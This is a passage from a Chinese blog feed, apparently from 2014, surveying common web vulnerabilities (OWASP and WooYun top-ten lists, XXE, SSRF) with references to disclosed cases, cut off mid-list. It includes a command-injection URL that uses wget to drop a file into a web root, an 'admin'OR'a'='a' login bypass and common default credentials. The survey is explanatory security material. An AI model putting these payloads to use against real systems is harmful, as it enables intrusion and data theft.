href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2014-12-22 23:43 <a href="http://www.blogjava.net/qileilove/archive/2014/12/22/421647.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>渗透测试必知必会—Web漏洞</title><link>http://www.blogjava.net/qileilove/archive/2014/12/22/421646.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Mon, 22 Dec 2014 15:42:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/22/421646.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421646.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/22/421646.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421646.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421646.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">0x00前言</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　本文为对<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">WEB</strong></u></a>漏洞研究系列的开篇，日后会针对这些漏洞一一研究，敬请期待</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">0x01 目录</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　0x00 前言</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　0x01 目录</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　0x02 OWASP TOP10 简单介绍</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　0x03 乌云TOP 10 简单介绍</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　0x04 非主流的WEB漏洞</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">0x02 OWASP TOP10 简单介绍</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　除了OWASP的TOP10，Web安全漏洞还有很多很多，在做<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>和加固系统时也不能老盯着TOP10，实际上是TOP10中的那少数几个</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　直接说2013的：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　A1: 注入，包括<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">SQL</strong></u></a>注入、OS注入、LDAP注入。SQL注入最常见，wooyun.org || http://packetstormsecurity.com 搜SQL注入有非常多的案例，由于现在自动化工具非常多，通常都是找到注入点后直接交给以sqlmap为代表的工具</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　命令注入相对来说出现得较少，形式可以是：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　https://1XX.202.234.22/debug/list_logfile.php?action=restartservice&amp;bash=;wget -O /Isc/third-party/httpd/htdocs/index_bak.php http://xxphp.txt;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　也可以查看案例：极路由云插件安装<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">shell</strong></u></a>命令注入漏洞 ，未对用户输入做任何校验，因此在web端ssh密码填写处输入一条命令`dropbear`便得到了执行</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　直接搜索LDAP注入案例，简单尝试下并没有找到，关于LDAP注入的相关知识可以参考我整理的LDAP注入与防御解析。虽然没有搜到LDAP注入的案例，但是重要的LDAP信息 泄露还是挺多的，截至目前，乌云上搜关键词LDAP有81条记录。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　PHP对象注入：偶然看到有PHP对象注入这种漏洞，OWASP上对其的解释为：依赖于上下文的应用层漏洞，可以让攻击者实施多种恶意攻击，如代码注入、SQL注入、路径遍历及拒绝服务。实现对象注入的条件为：1) 应用程序必须有一个实现PHP魔术方法(如 __wakeup或 __destruct)的类用于执行恶意攻击，或开始一个"POP chain"；2) 攻击中用到的类在有漏洞的unserialize()被调用时必须已被声明，或者自动加载的对象必须被这些类支持。PHP对象注入的案例及<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">文章</strong></u></a>可以参考WordPress &lt; 3.6.1 PHP 对象注入漏洞。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　在查找资料时，看到了PHP 依赖注入，原本以为是和安全相关的，结果发现：依赖注入是对于要求更易维护，更易测试，更加模块化的代码的解决方案。果然不同的视角，对同一个词的理解相差挺多的。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　A2: 失效的身份认证及会话管理，乍看身份认证觉得是和输入密码有关的，实际上还有会话id泄露等情况，注意力集中在口令安全上：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">案例1：空口令</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　乌云：国内cisco系列交换机空密码登入大集合</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　乌云：UC某服务器可空口令访问<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">数据库</strong></u></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　案例2：弱口令</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　乌云：盛大某站后台存在简单弱口令可登录　　admin/admin</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　乌云：电信某省客服系统弱口令泄漏各种信息　.../123456</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　乌云：中国建筑股份有限公司OA系统tomcat弱口令导致沦陷　　tomcat/tomcat</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">案例3：万能密码</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　乌云：<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">移动</strong></u></a>号码上户系统存在过滤不严　　admin'OR'a'='a/admin'OR'a'='a (实际上仍属于SQL注入)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">弱口令案例实在不一而足</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　在乌云一些弱口令如下：其中出镜次数最高的是：admin/admin, admin/123456</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><font color="#202859"><span style="line-height: normal !important;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412111040521DFFa.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></span></font><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">如果要继续深究下去或者取得更多数据进行分析的话，结局就会如猪猪侠总结的那样：</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px;"><font color="#202859"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_2014121110405227ae3.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></font></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　当然会话存在的安全问题也是需要考虑的，可以是令牌、token被窃取，尤其当会话没有设置生命周期时很容易出现会话/身份被劫持</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　会话管理问题可以是用户A登陆了某个地址，但是没有注销(奇葩情况是注销无效)，直接退出了浏览器又没有清除cookie，如果说这时候有B借用A的电脑，他直接以A的身份登陆该地址是没有问题的，这不是服务端的问题。但假设之后A都没有访问改地址，而是把电脑合上待机了，第二天如果B借用他的电脑直接登陆了该地址，则责任在于服务端的会话管理不当，没有设置超时时间。除此之外，还有会话重放、会话信息泄露等问题。说到会话信息泄露，不禁想起将sessionid放在URL中的情形，鄙人暂未遇到直接利用这个可以窃取会话的，但不排除其可能</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　A3: 跨站脚本(XSS)，最普遍的漏洞，曾被认为是鸡肋漏洞，事实证明有时候危害很大的，窃取cookie，构造蠕虫不一而足。XSS的技术体现在Javascript功底上，现在很多网站都有针对XSS的过滤器，J2EE可以使用全局过滤器，但是过滤器基本都是使用黑名单设防，是有可能绕过的，回应了技术体现在Javascript功底上。跨站脚本还有flash类型的，由于相比之下出现得比较少，浏览器和过滤器的防御精力不在这上面，如果出现可能更容易成功。值得一提的是，对于XSS，现在的扫描工具都会将其标识为高危漏洞，实际上扫描器根据返回的响应中是否有加入的载荷来判断跨站脚本漏洞存在的可能性，误报率会比较高。还有就是常规扫描器只能识别反射型XSS，反射型XSS本身危害是比较小的，存储型XSS危害才大(危害大小看具体情况)。反射型XSS现在常规payload要想过IE10、IE11或chrome还是有难度的，因此XSS技术的另一个体现方面即是对浏览器特性的了解。至于存储型XSS，则要看具体业务和数据是否会受影响，用户交互程度越高，利用难度就越大，如果能弹框证实漏洞存在，但很难被触发或者就算窃取到cookie也无法登陆，很难说明是高风险安全问题，但还是有修复和改进的必要。</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　A4: 不安全的直接对象引用，访问控制不当的问题，常见为越权操作(横向+纵向)，譬如：遍历用户id批量获取用户信息、在HTTP请求中篡改某个参数的值就变成了其他身份进行的操作，最激动人心的是可以进行刷钱等操作。越权问题并不高深，相比SQL注入和XSS技术难度还要低一点，因为通常只要改参数值就可以了(一般来说)。防止此类问题的做法很简单，当用户需要访问某资源或进行操作时，服务器端取出来访用户的session值，判断是否具有访问或操作权限。</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　在访问控制操作中，我们可以设定某一资源或文件A可以访问、B不能访问，但是当对应的用户多起来时也会遇到麻烦。也可以为用户访问资源或文件标志一个权限，作为一个会话属性，属于自己的才可以操作或访问，具体情况具体讨论。</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　<strong style="word-break: break-all; line-height: normal !important;">案例1：水平越权</strong></a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　乌云：虎扑某功能存在水平越权</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　<strong style="word-break: break-all; line-height: normal !important;">　案例2： 垂直越权</strong></a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　乌云：中国电信某系统管理员WEB界面越权访问</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　A5-A7\A9: 安全配置错误\敏感数据泄露\功能级访问控制缺失\使用含已知漏洞的组件=&gt;运维不当，直接看运维不当的</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　知乎专栏：运维安全(...)</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　乌云知识库：从乌云看运维安全那点事儿</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　引用一下知识库的内容，问题有：</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　struts漏洞</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　Web服务器未及时打补丁，有解析漏洞</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　PHP-CGI RCE</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　FCK编辑器</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　server-status信息泄露</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　网站备份文件放在web目录，可被下载</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　列目录导致可看到敏感数据并查看</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　snmp信息泄露</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　weblogic弱口令</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　SVN信息泄露</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　域传送漏洞</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　Rsync</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　hadoop对外</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　nagios信息泄露</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　ftp弱口令或支持匿名访问导致信息泄露</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　RTX泄露信息</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　Ganglia信息泄露</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　j2ee应用架构开始占主流，典型的web服务器搭配配置失误</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　Jenkins平台没有设置登录验证</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　zabbix</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　zenoss监控系统</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　Resin文件读取</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　memcache未限制访问IP</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　JBoss问题</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　测试服务器外网可访问</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　padding oracle attack</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　用户名密码放在服务器上&#8230;&#8230;</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　A8: 跨站请求伪造(CSRF)</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　CSRF曾被称为沉睡的巨人，以前拿来举例时都是说Alice给Bob转钱，结果morry插了一脚，钱就跑到morry家去了。危害可大可小，直接通过URL增删改操作的也还有，更多的还是基于表单。如果是XSS+CSRF =&gt;蠕虫 就比较可观了，也曾看到过直接get root的案例<br /></a><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank"><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;"><strong style="word-break: break-all; line-height: normal !important;">案例：万达电影主站 xss + csrf</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A10: 无效的重定向</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　控制重定向可以钓鱼，可以获取敏感文件的信息，在struts2中也有开放重定向的命令执行</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">0x03 乌云TOP 10 简单介绍</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　上述就是OWASP TOP10的WEB漏洞，乌云出了一个更加符合中国国情的 乌云：Top10 for 2014，看着也是触目惊心</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A1-互联网泄密事件/撞库攻击</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　本质上来说是使用了不安全的口令，也许我可以将自己的密码设置的很复杂，别人破解不出来。但对于撞库攻击而言，可以说是不怕神一样的对手，就怕猪一样的队友。我们注册使用的网站或服务商他们保存了我们使用的密码，而很多时候被泄露出去了我们并不知道。这也是考验我们密码习惯的时候了，强密码+不同的密码，当然密码多了也难以记住，不行就借助软件或者普通账号用同一个密码，重要账号用不同密码吧</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A2-引用不安全的第三方应用</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　举的例子是heart bleed漏洞使用的openssl，另外struts2的漏洞也还数见不鲜，其次就是CMS如wordpress使用的插件,当然shellshock也会有很多中枪的</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A3-系统错误/逻辑缺陷带来的暴力猜解</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　暴力破解：没对请求和错误次数做限制；重放攻击同样是没做检验或限制</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A4-敏感信息/配置信息泄露</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　包括但不限于目录遍历、日志、配置文件、svn目录、github或其他博客等地方</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A5-应用错误配置/默认配置</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　包括但不限于默认路径、默认口令、目录穿越、任意文件下载等</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A6-SQL注入漏洞</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A7-XSS跨站脚本攻击/CSRF</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A8-未授权访问/权限绕过</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　可匿名访问\判断referer值后免登陆</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A9-账户体系控制不严/越权操作</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　A10-内部重要资料/文档外泄</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　还是信息泄露，但是做了区分，不同于应用或服务器的信息泄露，专指内部信息泄露哟</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　<strong style="word-break: break-all; line-height: normal !important;">0x04 非主流的WEB漏洞</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　实际上，如果要挖漏洞或者做测试，从乌云上找案例会比较方便，除了常见的几类代码层面的问题，更多的是配置不当方面的，最终归结到信息安全链上最脆弱的还是人本身</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　除了上面提到的这些，其实还有很多的漏洞啊，跟设备有关系的就先不说了，再提一下两个看起来不错的：XXE、SSRF(or XSPA)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　XXE：XML外部实体注入，不仅仅是敏感信息泄露，腾讯安全中心：XXE漏洞攻防</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　案例：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px;">　　1. 乌云：百度某功能XML实体注入</div><div 